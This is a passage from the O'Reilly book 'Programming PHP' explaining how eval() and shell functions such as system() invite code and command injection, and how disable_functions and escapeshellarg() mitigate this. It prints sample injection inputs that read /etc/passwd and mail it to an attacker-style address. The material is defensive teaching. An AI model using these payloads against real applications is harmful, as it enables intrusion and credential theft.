Programming PHP

You can globally disable particular function calls by listing them, separated by commas,
in the disable_functions configuration option in php.ini.For example, you may
never have need for the system( ) function, so you can disable it entirely with:
disable_functions = system
This doesn’t make eval( ) any safer, though, as there’s no way to prevent important
variables from being changed or built-in constructs such as echo( ) from being called.
Note that the preg_replace( ) function with the /e option also calls eval( ) on PHP
code, so don’t use user-supplied data in the replacement string.
In the case of include, require, include_once, and require_once, your best bet is to
turn off remote file access using allow_url_fopen.
The main message of this section is that any use of eval( ) and the /e option with
preg_replace( ) is suspect, especially if you allow users to put bits into the code.
Consider the following:
eval("2 + $user_input");
It seems pretty innocuous. However, suppose the user enters the following value:
2; mail("l33t@somewhere.com", "Some passwords", `/bin/cat /etc/passwd`);
In this case, both the command you expected and one you’d rather wasn’t will be
executed. The only viable solution is to never give user-supplied data to eval( ).
Shell Commands
Be very wary of using the exec( ), system( ), passthru( ), and popen( ) functions and
the backtick (``) operator in your code.The shell is a problem because it recognizes
special characters (e.g., semicolons to separate commands). For example, suppose
your script contains this line:
system("ls $directory");
If the user passes the value "/tmp;cat /etc/passwd" as the $directory parameter,
your password file is displayed because system( ) executes the following command:
ls /tmp;cat /etc/passwd
In cases where you must pass user-supplied arguments to a shell command, use
escapeshellarg( ) on the string to escape any sequences that have special meaning to
shells:
$cleaned_up = escapeshellarg($directory);
system("ls $cleaned_up");
Now, if the user passes "/tmp;cat /etc/passwd", the command that’s actually run is:
ls '/tmp;cat /etc/passwd'
The easiest way to avoid the shell is to do the work of whatever program you’re trying
to call. Built-in functions are likely to be more secure than anything involving the shell.
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Shell Commands | 295